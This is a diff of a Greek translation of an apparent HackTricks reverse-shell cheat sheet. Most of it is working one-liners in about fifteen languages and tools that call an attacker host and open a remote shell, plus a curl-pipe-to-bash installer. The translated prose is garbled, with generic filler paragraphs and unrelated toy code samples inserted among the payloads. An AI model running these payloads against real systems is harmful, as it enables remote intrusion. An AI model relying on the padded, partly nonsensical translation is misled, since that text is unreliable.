||||
You just need to modify:
|
||||
* Το URL του ευπάθους κεντρικού υπολογιστή
|
||||
* Το πρόθεμα και το επίθεμα του φορτίου σας (αν υπάρχει)
|
||||
* Τον τρόπο με τον οποίο αποστέλλεται το φορτίο (κεφαλίδες; δεδομένα; επιπλέον πληροφορίες;)
|
||||
|
||||
* The URL of the vulnerable host
|
||||
* The prefix and suffix of your payload (if any)
|
||||
* The way the payload is sent (headers? data? extra info?)
|
||||
|
||||
Then, you can just **send commands** or even **use the `upgrade` command** to get a full PTY (note that pipes are read and written with an approximate 1.3s delay).
|
||||
Έπειτα, μπορείτε απλά να **αποστείλετε εντολές** ή ακόμα και να **χρησιμοποιήσετε την εντολή `upgrade`** για να λάβετε ένα πλήρες PTY (σημειώστε ότι οι αγωγοί διαβάζονται και γράφονται με καθυστέρηση περίπου 1,3 δευτερολέπτων).
|
||||
|
||||
## Netcat
|
||||
|
||||
```bash
|
||||
nc -e /bin/sh <ATTACKER-IP> <PORT>
|
||||
nc <ATTACKER-IP> <PORT> | /bin/sh #Blind
|
||||
|
@ -94,66 +87,123 @@ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER-IP> <PORT> >/tmp
|
|||
nc <ATTACKER-IP> <PORT1>| /bin/bash | nc <ATTACKER-IP> <PORT2>
|
||||
rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | nc <ATTACKER-IP> <PORT> 1>/tmp/bkpipe
|
||||
```
|
||||
|
||||
## gsocket
|
||||
|
||||
Check it in [https://www.gsocket.io/deploy/](https://www.gsocket.io/deploy/)
|
||||
|
||||
Ελέγξτε το στην [https://www.gsocket.io/deploy/](https://www.gsocket.io/deploy/)
|
||||
```bash
|
||||
bash -c "$(curl -fsSL gsocket.io/x)"
|
||||
```
|
||||
|
||||
## Telnet
|
||||
|
||||
Το Telnet είναι ένα πρωτόκολλο δικτύου που χρησιμοποιείται για την απομακρυσμένη σύνδεση σε έναν υπολογιστή μέσω δικτύου. Με το Telnet, μπορείτε να συνδεθείτε σε έναν απομακρυσμένο υπολογιστή και να εκτελέσετε εντολές από τον τερματικό σας.
|
||||
|
||||
Για να συνδεθείτε σε έναν υπολογιστή μέσω Telnet, χρειάζεστε τη διεύθυνση IP του υπολογιστή και τη θύρα Telnet που χρησιμοποιείται. Μπορείτε να χρησιμοποιήσετε την εντολή `telnet` στο τερματικό σας για να αρχίσετε μια σύνδεση Telnet.
|
||||
|
||||
Όταν συνδεθείτε με επιτυχία σε έναν υπολογιστή μέσω Telnet, θα έχετε πρόσβαση στο τερματικό του υπολογιστή και θα μπορείτε να εκτελέσετε εντολές όπως αν είχατε φυσική πρόσβαση σε αυτόν.
|
||||
|
||||
Ωστόσο, το Telnet δεν είναι ασφαλές, καθώς οι πληροφορίες που ανταλλάσσονται μεταξύ του τερματικού σας και του απομακρυσμένου υπολογιστή μεταδίδονται σε απλό κείμενο. Για αυτόν τον λόγο, συνιστάται να χρησιμοποιείτε ασφαλή πρωτόκολλα όπως το SSH αντί για το Telnet.
|
||||
```bash
|
||||
telnet <ATTACKER-IP> <PORT> | /bin/sh #Blind
|
||||
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet <ATTACKER-IP> <PORT> >/tmp/f
|
||||
telnet <ATTACKER-IP> <PORT> | /bin/bash | telnet <ATTACKER-IP> <PORT>
|
||||
rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | telnet <ATTACKER-IP> <PORT> 1>/tmp/bkpipe
|
||||
```
|
||||
|
||||
## Whois
|
||||
|
||||
**Attacker**
|
||||
|
||||
Ο **Επιτιθέμενος**
|
||||
```bash
|
||||
while true; do nc -l <port>; done
|
||||
```
|
||||
Για να στείλετε την εντολή, γράψτε την, πατήστε enter και πατήστε CTRL+D (για να σταματήσει το STDIN)
|
||||
|
||||
To send the command write it down, press enter and press CTRL+D (to stop STDIN)
|
||||
|
||||
**Victim**
|
||||
|
||||
**Θύμα**
|
||||
```bash
|
||||
export X=Connected; while true; do X=`eval $(whois -h <IP> -p <Port> "Output: $X")`; sleep 1; done
|
||||
```
|
||||
## Πυθώνας
|
||||
|
||||
## Python
|
||||
Ο Πυθώνας είναι μια δημοφιλής γλώσσα προγραμματισμού που χρησιμοποιείται ευρέως για την ανάπτυξη εφαρμογών και σεναρίων. Είναι εύκολο να μάθετε και να χρησιμοποιήσετε, και προσφέρει πληθώρα βιβλιοθηκών και εργαλείων για την επεξεργασία δεδομένων, την ανάλυση και την αυτοματοποίηση διαδικασιών.
|
||||
|
||||
Ο Πυθώνας μπορεί να χρησιμοποιηθεί για την εκτέλεση εντολών στο λειτουργικό σύστημα Linux. Μπορείτε να χρησιμοποιήσετε τη βιβλιοθήκη `subprocess` για να εκτελέσετε εντολές στο τερματικό και να λάβετε την έξοδο τους. Επίσης, μπορείτε να χρησιμοποιήσετε τη βιβλιοθήκη `os` για να εκτελέσετε εντολές στο τερματικό και να πάρετε πληροφορίες για το περιβάλλον του συστήματος.
|
||||
|
||||
Ο Πυθώνας επίσης παρέχει τη δυνατότητα να δημιουργήσετε ένα απλό αρχείο κειμένου και να το εκτελέσετε ως εντολή στο τερματικό. Αυτό μπορεί να γίνει χρησιμοποιώντας την εντολή `chmod` για να δώσετε δικαιώματα εκτέλεσης στο αρχείο και την εντολή `./` για να το εκτελέσετε.
|
||||
|
||||
Ο Πυθώνας είναι ένα ισχυρό εργαλείο για την εκτέλεση εντολών στο λειτουργικό σύστημα Linux και την αυτοματοποίηση διαδικασιών. Με τη σωστή χρήση και την κατανόηση των δυνατοτήτων του, μπορείτε να επιτύχετε πολλά στον κόσμο του χάκινγκ.
|
||||
```bash
|
||||
#Linux
|
||||
export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
|
||||
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
|
||||
#IPv6
|
||||
python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4343,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'
|
||||
python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4343,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'
|
||||
```
|
||||
|
||||
## Perl
|
||||
|
||||
Perl είναι μια δυναμική γλώσσα προγραμματισμού που χρησιμοποιείται ευρέως για την αυτοματοποίηση διαδικασιών και την επεξεργασία κειμένου. Έχει ισχυρές δυνατότητες για την επεξεργασία αρχείων και την διαχείριση συστήματος. Μπορεί να χρησιμοποιηθεί για την ανάπτυξη εργαλείων hacking και για την εκτέλεση επιθέσεων.
|
||||
|
||||
Για να εκτελέσετε ένα Perl script από ένα shell, μπορείτε να χρησιμοποιήσετε την εντολή `perl script.pl`. Αν το script απαιτεί ορίσματα, μπορείτε να τα περάσετε μετά το όνομα του script, χωρισμένα με κενά.
|
||||
|
||||
Για να εκτελέσετε ένα Perl one-liner από ένα shell, μπορείτε να χρησιμοποιήσετε την εντολή `perl -e 'one-liner'`. Το one-liner είναι ένα μικρό Perl script που εκτελείται απευθείας από τη γραμμή εντολών.
|
||||
|
||||
Για να εκτελέσετε μια εντολή shell από ένα Perl script, μπορείτε να χρησιμοποιήσετε την συνάρτηση `system('command')`. Η εντολή shell θα εκτελεστεί και το αποτέλεσμα θα επιστραφεί στο Perl script.
|
||||
|
||||
Για να εκτελέσετε μια εντολή shell και να αποθηκεύσετε το αποτέλεσμα σε μια μεταβλητή Perl, μπορείτε να χρησιμοποιήσετε την συνάρτηση `backticks` ή τον τελεστή `qx`. Η εντολή shell θα εκτελεστεί και το αποτέλεσμα θα αποθηκευτεί στη μεταβλητή.
|
||||
|
||||
Για να διαβάσετε από ένα αρχείο σε ένα Perl script, μπορείτε να χρησιμοποιήσετε την συνάρτηση `open` για να ανοίξετε το αρχείο και την συνάρτηση `readline` για να διαβάσετε τις γραμμές του αρχείου.
|
||||
|
||||
Για να γράψετε σε ένα αρχείο από ένα Perl script, μπορείτε να χρησιμοποιήσετε την συνάρτηση `open` για να ανοίξετε το αρχείο με την επιλογή `>` για εγγραφή και την συνάρτηση `print` για να γράψετε στο αρχείο.
|
||||
|
||||
Για να εκτελέσετε μια εντολή shell και να πάρετε την έξοδο της ως είσοδο για μια άλλη εντολή shell, μπορείτε να χρησιμοποιήσετε τον τελεστή παίρνοντας την έξοδο της πρώτης εντολής και περνώντας την ως είσοδο στη δεύτερη εντολή.
|
||||
```bash
|
||||
perl -e 'use Socket;$i="<ATTACKER-IP>";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
|
||||
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
|
||||
```
|
||||
|
||||
## Ruby
|
||||
|
||||
Ruby είναι μια δημοφιλής γλώσσα προγραμματισμού που χρησιμοποιείται ευρέως για την ανάπτυξη εφαρμογών. Έχει μια καθαρή και ευανάγνωστη σύνταξη, καθιστώντας τον κώδικα ευκολότερο στην κατανόηση και στη συντήρηση. Η Ruby υποστηρίζει αντικειμενοστραφή προγραμματισμό και διαθέτει μια ευέλικτη και δυναμική τύπωση. Επιπλέον, παρέχει πλούσια βιβλιοθήκη με πολλές χρήσιμες λειτουργίες.
|
||||
|
||||
Για να εκτελέσετε κώδικα Ruby, μπορείτε να χρησιμοποιήσετε τον διερμηνέα Ruby (ruby) ή να γράψετε τον κώδικα σε ένα αρχείο με κατάληξη .rb και να το εκτελέσετε με την εντολή ruby.
|
||||
|
||||
Παρακάτω παρουσιάζονται μερικά παραδείγματα κώδικα Ruby:
|
||||
|
||||
```ruby
|
||||
# Εκτύπωση κειμένου
|
||||
puts "Γεια σου, κόσμε!"
|
||||
|
||||
# Υπολογισμός αθροίσματος
|
||||
a = 5
|
||||
b = 10
|
||||
sum = a + b
|
||||
puts "Το άθροισμα των #{a} και #{b} είναι #{sum}."
|
||||
|
||||
# Έλεγχος συνθήκης
|
||||
x = 7
|
||||
if x > 5
|
||||
puts "Ο αριθμός #{x} είναι μεγαλύτερος από 5."
|
||||
else
|
||||
puts "Ο αριθμός #{x} είναι μικρότερος ή ίσος με 5."
|
||||
end
|
||||
```
|
||||
|
||||
Αυτά είναι μερικά από τα βασικά στοιχεία της Ruby. Μπορείτε να εξερευνήσετε περισσότερες δυνατότητες και λειτουργίες της γλώσσας αυτής για να αναπτύξετε προηγμένες εφαρμογές.
|
||||
```bash
|
||||
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
|
||||
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
|
||||
```
|
||||
|
||||
## PHP
|
||||
|
||||
Η PHP είναι μια δημοφιλής γλώσσα προγραμματισμού που χρησιμοποιείται ευρέως για την ανάπτυξη δυναμικών ιστοσελίδων. Είναι εύκολη στην εκμάθηση και παρέχει πολλές δυνατότητες για την επεξεργασία δεδομένων και την αλληλεπίδραση με βάσεις δεδομένων.
|
||||
|
||||
Για να εκτελέσετε κώδικα PHP σε έναν διακομιστή Linux, μπορείτε να χρησιμοποιήσετε τον ενσωματωμένο διακομιστή PHP ή να εγκαταστήσετε έναν διακομιστή web όπως το Apache ή το Nginx.
|
||||
|
||||
Για να εκτελέσετε ένα αρχείο PHP από τη γραμμή εντολών, μπορείτε να χρησιμοποιήσετε την εντολή `php` ακολουθούμενη από το όνομα του αρχείου. Για παράδειγμα:
|
||||
|
||||
```bash
|
||||
php script.php
|
||||
```
|
||||
|
||||
Μπορείτε επίσης να εκτελέσετε κώδικα PHP από μια ιστοσελίδα, ενσωματώνοντας τον κώδικα μέσα σε ετικέτες `<?php ?>`. Ο κώδικας που βρίσκεται μέσα σε αυτές τις ετικέτες θα εκτελεστεί κατά την αναπαραγωγή της ιστοσελίδας.
|
||||
|
||||
Για να συνδεθείτε σε μια βάση δεδομένων MySQL από PHP, μπορείτε να χρησιμοποιήσετε την ενσωματωμένη συνάρτηση `mysqli_connect()` για να δημιουργήσετε μια σύνδεση και τη συνάρτηση `mysqli_query()` για να εκτελέσετε ερωτήματα SQL.
|
||||
|
||||
Η PHP παρέχει επίσης πολλές ενσωματωμένες συναρτήσεις για την επεξεργασία αρχείων, την αποστολή email, την κρυπτογράφηση δεδομένων και πολλά άλλα. Μπορείτε να βρείτε περισσότερες πληροφορίες και παραδείγματα κώδικα στην επίσημη τεκμηρίωση της PHP.
|
||||
```php
|
||||
// Using 'exec' is the most common method, but assumes that the file descriptor will be 3.
|
||||
// Using this method may lead to instances where the connection reaches out to the listener and then closes.
|
||||
|
@ -165,59 +215,114 @@ php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
|
|||
|
||||
<?php exec("/bin/bash -c 'bash -i >/dev/tcp/10.10.14.8/4444 0>&1'"); ?>
|
||||
```
|
||||
|
||||
## Java
|
||||
|
||||
Η Java είναι μια αντικειμενοστραφής γλώσσα προγραμματισμού που χρησιμοποιείται ευρέως για την ανάπτυξη εφαρμογών. Έχει σχεδιαστεί να είναι ανεξάρτητη πλατφόρμας, πράγμα που σημαίνει ότι μπορεί να τρέξει σε διάφορες πλατφόρμες, όπως Windows, macOS και Linux. Η Java χρησιμοποιείται επίσης ευρέως για την ανάπτυξη εφαρμογών για το διαδίκτυο και την κινητή τηλεφωνία.
|
||||
|
||||
Μια από τις κύριες δυνατότητες της Java είναι η δυνατότητα να τρέξει κώδικα σε ένα εικονικό μηχάνημα Java (JVM). Αυτό σημαίνει ότι ο κώδικας Java μπορεί να εκτελεστεί σε οποιαδήποτε πλατφόρμα που υποστηρίζει την JVM, χωρίς να απαιτείται η μεταγλώττιση του κώδικα για κάθε πλατφόρμα ξεχωριστά.
|
||||
|
||||
Η Java παρέχει επίσης πλούσια βιβλιοθήκη κλάσεων και εργαλείων που διευκολύνουν την ανάπτυξη εφαρμογών. Αυτές οι βιβλιοθήκες περιλαμβάνουν λειτουργίες για τη διαχείριση αρχείων, την επικοινωνία με το δίκτυο, την ασφάλεια και πολλά άλλα.
|
||||
|
||||
Επιπλέον, η Java υποστηρίζει την ανάπτυξη εφαρμογών με πολλαπλούς νήματα, που επιτρέπει την ταυτόχρονη εκτέλεση πολλαπλών τμημάτων κώδικα. Αυτό μπορεί να βελτιώσει την απόδοση και την αποκρισιμότητα των εφαρμογών.
|
||||
|
||||
Τέλος, η Java παρέχει επίσης ισχυρά εργαλεία για την ανάπτυξη εφαρμογών για το διαδίκτυο, όπως το Java Servlet API και το JavaServer Pages (JSP). Αυτά τα εργαλεία επιτρέπουν τη δημιουργία δυναμικών ιστοσελίδων και εφαρμογών διαδικτύου.
|
||||
```bash
|
||||
r = Runtime.getRuntime()
|
||||
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
|
||||
p.waitFor()
|
||||
```
|
||||
|
||||
## Ncat
|
||||
|
||||
Ncat είναι ένα πανίσχυρο εργαλείο που παρέχει προηγμένες δυνατότητες δικτύωσης και αλληλεπίδρασης με συστήματα. Μπορεί να χρησιμοποιηθεί για να δημιουργήσει και να διαχειριστεί συνδέσεις TCP/IP, να αναλύσει και να στείλει πακέτα δεδομένων, και να εκτελέσει εντολές απομακρυσμένα σε απομακρυσμένα συστήματα. Είναι ιδιαίτερα χρήσιμο για την εξερεύνηση και την εκμετάλλευση ευπάθειών σε δίκτυα και συστήματα.
|
||||
|
||||
Για να ξεκινήσετε με το Ncat, μπορείτε να το εκτελέσετε από τη γραμμή εντολών χρησιμοποιώντας την εντολή `ncat`. Μπορείτε να προσθέσετε διάφορες παραμέτρους για να προσαρμόσετε τη συμπεριφορά του, όπως η προσδιορισμός της πόρτας, η χρήση SSL, η αυθεντικοποίηση και πολλά άλλα.
|
||||
|
||||
Μερικές από τις βασικές εντολές που μπορείτε να χρησιμοποιήσετε με το Ncat περιλαμβάνουν:
|
||||
|
||||
- Σύνδεση σε έναν απομακρυσμένο διακομιστή TCP/IP: `ncat <ip> <port>`
|
||||
- Αναμονή για σύνδεση από έναν απομακρυσμένο υπολογιστή: `ncat -l <port>`
|
||||
- Αποστολή αρχείου σε έναν απομακρυσμένο διακομιστή: `ncat <ip> <port> < file`
|
||||
- Λήψη αρχείου από έναν απομακρυσμένο διακομιστή: `ncat -l <port> > file`
|
||||
|
||||
Αυτές είναι μόνο μερικές από τις δυνατότητες που προσφέρει το Ncat. Μπορείτε να εξερευνήσετε περισσότερες εντολές και παραμέτρους στην τεκμηρίωση του εργαλείου.
|
||||
```bash
|
||||
victim> ncat --exec cmd.exe --allow 10.0.0.4 -vnl 4444 --ssl
|
||||
attacker> ncat -v 10.0.0.22 4444 --ssl
|
||||
```
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Find vulnerabilities that matter most so you can fix them faster. Intruder tracks your attack surface, runs proactive threat scans, finds issues across your whole tech stack, from APIs to web apps and cloud systems. [**Try it for free**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) today.
|
||||
Βρείτε ευπάθειες που είναι πιο σημαντικές, ώστε να μπορείτε να τις διορθώσετε πιο γρήγορα. Ο Intruder παρακολουθεί την επιθετική επιφάνεια σας, εκτελεί προληπτικές απειλητικές αναζητήσεις, εντοπίζει προβλήματα σε ολόκληρο το τεχνολογικό σας στοίχημα, από τις διεπαφές προγραμματισμού εφαρμογών (APIs) μέχρι τις ιστοσελίδες και τα συστήματα στον νέφος. [**Δοκιμάστε το δωρεάν**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) σήμερα.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
## Golang
|
||||
|
||||
```bash
|
||||
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
|
||||
```
|
||||
|
||||
## Lua
|
||||
|
||||
Lua είναι μια δημοφιλής γλώσσα προγραμματισμού σε σενάρια που χρησιμοποιείται ευρέως για την ανάπτυξη εφαρμογών και παιχνιδιών. Έχει απλή σύνταξη και είναι ευέλικτη, καθιστώντας την ιδανική για την ενσωμάτωση σε άλλες εφαρμογές. Η Lua υποστηρίζει δυναμική τυποποίηση και έχει ένα μικρό μέγεθος, καθιστώντας την αποδοτική και ελαφριά.
|
||||
|
||||
Μερικές από τις βασικές λειτουργίες της Lua περιλαμβάνουν τη δυνατότητα δημιουργίας και εκτέλεσης σεναρίων, τη διαχείριση αρχείων και την αλληλεπίδραση με το σύστημα λειτουργίας. Επίσης, παρέχει πολλές βιβλιοθήκες για να διευκολύνει την ανάπτυξη εφαρμογών.
|
||||
|
||||
Η Lua χρησιμοποιείται ευρέως σε πολλές εφαρμογές, όπως παιχνίδια, εφαρμογές κινητών συσκευών, εφαρμογές δικτύου και πολλές άλλες. Επίσης, χρησιμοποιείται σε πολλά λογισμικά όπως το Nginx και το Wireshark.
|
||||
|
||||
Αν και η Lua είναι μια δημοφιλής γλώσσα προγραμματισμού, είναι σημαντικό να λαμβάνονται υπόψη οι ασφαλείς πρακτικές προγραμματισμού για να αποφευχθούν πιθανές ευπάθειες και επιθέσεις.
|
||||
```bash
|
||||
#Linux
|
||||
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
|
||||
#Windows & Linux
|
||||
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
|
||||
```
|
||||
|
||||
## NodeJS
|
||||
|
||||
NodeJS είναι μια ανοιχτού κώδικα πλατφόρμα που εκτελεί κώδικα JavaScript στην πλευρά του διακομιστή. Χρησιμοποιεί τη μη-φραγμένη αρχιτεκτονική εκδόσεων για να επιτρέψει την ασύγχρονη επεξεργασία και την αποτελεσματική χρήση των πόρων του συστήματος. Ο NodeJS χρησιμοποιείται ευρέως για την ανάπτυξη διαδικτυακών εφαρμογών και υπηρεσιών δικτύου.
|
||||
|
||||
### Εγκατάσταση
|
||||
|
||||
Για να εγκαταστήσετε το NodeJS, ακολουθήστε τα παρακάτω βήματα:
|
||||
|
||||
1. Κατεβάστε το πακέτο εγκατάστασης από την επίσημη ιστοσελίδα του NodeJS.
|
||||
2. Εκτελέστε το πακέτο εγκατάστασης και ακολουθήστε τις οδηγίες εγκατάστασης.
|
||||
3. Ελέγξτε την εγκατάσταση εκτελώντας την εντολή `node -v` στο τερματικό. Θα πρέπει να εμφανιστεί η έκδοση του NodeJS που εγκαταστάθηκε.
|
||||
|
||||
### Εκτέλεση κώδικα NodeJS
|
||||
|
||||
Για να εκτελέσετε κώδικα NodeJS, ακολουθήστε τα παρακάτω βήματα:
|
||||
|
||||
1. Δημιουργήστε ένα αρχείο με κατάληξη `.js` που περιέχει τον κώδικά σας.
|
||||
2. Ανοίξτε ένα τερματικό και μεταβείτε στον φάκελο όπου βρίσκεται το αρχείο.
|
||||
3. Εκτελέστε τον κώδικα NodeJS χρησιμοποιώντας την εντολή `node <όνομα_αρχείου>.js`. Ο κώδικας θα εκτελεστεί και τα αποτελέσματα θα εμφανιστούν στο τερματικό.
|
||||
|
||||
### Παραδείγματα κώδικα NodeJS
|
||||
|
||||
Παρακάτω παρουσιάζονται μερικά παραδείγματα κώδικα NodeJS:
|
||||
|
||||
```javascript
|
||||
// Εμφάνιση κειμένου στο τερματικό
|
||||
console.log("Γεια σου, κόσμε!");
|
||||
|
||||
// Υπολογισμός του τετραγώνου ενός αριθμού
|
||||
const number = 5;
|
||||
const square = number * number;
|
||||
console.log(`Το τετράγωνο του αριθμού ${number} είναι ${square}.`);
|
||||
```
|
||||
|
||||
Αυτά είναι μερικά βασικά πράγματα που πρέπει να γνωρίζετε για το NodeJS. Μπορείτε να εξερευνήσετε περισσότερες δυνατότητες και λειτουργίες του NodeJS στην επίσημη τεκμηρίωση του.
|
||||
```javascript
|
||||
(function(){
|
||||
var net = require("net"),
|
||||
cp = require("child_process"),
|
||||
sh = cp.spawn("/bin/sh", []);
|
||||
var client = new net.Socket();
|
||||
client.connect(8080, "10.17.26.64", function(){
|
||||
client.pipe(sh.stdin);
|
||||
sh.stdout.pipe(client);
|
||||
sh.stderr.pipe(client);
|
||||
});
|
||||
return /a/; // Prevents the Node.js application form crashing
|
||||
var net = require("net"),
|
||||
cp = require("child_process"),
|
||||
sh = cp.spawn("/bin/sh", []);
|
||||
var client = new net.Socket();
|
||||
client.connect(8080, "10.17.26.64", function(){
|
||||
client.pipe(sh.stdin);
|
||||
sh.stdout.pipe(client);
|
||||
sh.stderr.pipe(client);
|
||||
});
|
||||
return /a/; // Prevents the Node.js application form crashing
|
||||
})();
|
||||
|
||||
|
||||
|
@ -248,19 +353,15 @@ or
|
|||
|
||||
https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py
|
||||
```
|
||||
|
||||
## OpenSSL
|
||||
|
||||
The Attacker (Kali)
|
||||
|
||||
Ο Επιτιθέμενος (Kali)
|
||||
```bash
|
||||
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate
|
||||
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
|
||||
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port2> #Here yo will be able to get the response
|
||||
```
|
||||
|
||||
The Victim
|
||||
|
||||
Ο Θύμα
|
||||
```bash
|
||||
#Linux
|
||||
openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
|
||||
|
@ -268,103 +369,114 @@ openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_clien
|
|||
#Windows
|
||||
openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
|
||||
```
|
||||
|
||||
## **Socat**
|
||||
|
||||
[https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries)
|
||||
|
||||
### Bind shell
|
||||
|
||||
### Συνδεδεμένη κέλυφος (Bind shell)
|
||||
```bash
|
||||
victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
|
||||
attacker> socat FILE:`tty`,raw,echo=0 TCP:<victim_ip>:1337
|
||||
attacker> socat FILE:`tty`,raw,echo=0 TCP:<victim_ip>:1337
|
||||
```
|
||||
### Αντίστροφη κέλυφος
|
||||
|
||||
### Reverse shell
|
||||
Η αντίστροφη κέλυφος είναι μια τεχνική που χρησιμοποιείται στον χώρο του χάκινγκ για να αποκτήσετε απομακρυσμένη πρόσβαση σε ένα σύστημα Linux. Με αυτήν την τεχνική, ο χάκερ δημιουργεί μια σύνδεση ανάμεσα στον επιτιθέμενο υπολογιστή και τον δικό του υπολογιστή, επιτρέποντάς του να εκτελέσει εντολές στον επιτιθέμενο υπολογιστή από απόσταση.
|
||||
|
||||
Για να δημιουργήσετε μια αντίστροφη κέλυφος, μπορείτε να χρησιμοποιήσετε διάφορα εργαλεία όπως το Netcat ή το Metasploit. Αυτά τα εργαλεία σας επιτρέπουν να δημιουργήσετε μια σύνδεση TCP μεταξύ του επιτιθέμενου υπολογιστή και του υπολογιστή σας, δίνοντάς σας πλήρη πρόσβαση και έλεγχο στο σύστημα.
|
||||
|
||||
Μια αντίστροφη κέλυφος είναι ιδιαίτερα χρήσιμη για την εξερεύνηση και την εκμετάλλευση ευπάθειών σε ένα σύστημα Linux, καθώς σας επιτρέπει να εκτελέσετε εντολές και να αποκτήσετε πρόσβαση σε αρχεία και διαμορφώσεις που απαιτούν επιπλέον δικαιώματα.
|
||||
```bash
|
||||
attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
|
||||
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
|
||||
```
|
||||
|
||||
## Awk
|
||||
|
||||
Το Awk είναι ένα ισχυρό εργαλείο για την επεξεργασία και την ανάλυση κειμένου στο Linux. Μπορεί να χρησιμοποιηθεί για να εκτελέσει διάφορες λειτουργίες, όπως την αναζήτηση και την αντικατάσταση κειμένου, την εξαγωγή δεδομένων από αρχεία και την υπολογιστική επεξεργασία.
|
||||
|
||||
Για να χρησιμοποιήσετε το Awk, μπορείτε να το καλέσετε από το τερματικό και να του περάσετε ένα αρχείο κειμένου ως είσοδο. Στη συνέχεια, μπορείτε να ορίσετε κανόνες και ενέργειες για να επεξεργαστείτε το κείμενο σύμφωνα με τις ανάγκες σας.
|
||||
|
||||
Οι βασικές εντολές του Awk είναι οι εξής:
|
||||
|
||||
- `print`: Εκτυπώνει το κείμενο ή τη μεταβλητή που του δίνεται ως όρισμα.
|
||||
- `if`: Εκτελεί μια ενέργεια αν μια συνθήκη είναι αληθής.
|
||||
- `else`: Εκτελεί μια ενέργεια αν μια συνθήκη δεν είναι αληθής.
|
||||
- `for`: Επαναλαμβάνει μια ενέργεια για κάθε στοιχείο σε μια λίστα.
|
||||
- `while`: Επαναλαμβάνει μια ενέργεια όσο μια συνθήκη είναι αληθής.
|
||||
|
||||
Με τη χρήση αυτών των εντολών, μπορείτε να δημιουργήσετε πολύπλοκους κανόνες για την επεξεργασία του κειμένου. Το Awk είναι ένα ισχυρό εργαλείο που μπορεί να σας βοηθήσει στην ανάλυση και την επεξεργασία κειμένου στο Linux.
|
||||
```bash
|
||||
awk 'BEGIN {s = "/inet/tcp/0/<IP>/<PORT>"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
|
||||
```
|
||||
Επιτιθέμενος
|
||||
|
||||
## Finger
|
||||
|
||||
**Attacker**
|
||||
|
||||
**Επιτιθέμενος**
|
||||
```bash
|
||||
while true; do nc -l 79; done
|
||||
```
|
||||
Για να στείλετε την εντολή, γράψτε την, πατήστε enter και πατήστε CTRL+D (για να σταματήσει το STDIN)
|
||||
|
||||
To send the command write it down, press enter and press CTRL+D (to stop STDIN)
|
||||
|
||||
**Victim**
|
||||
|
||||
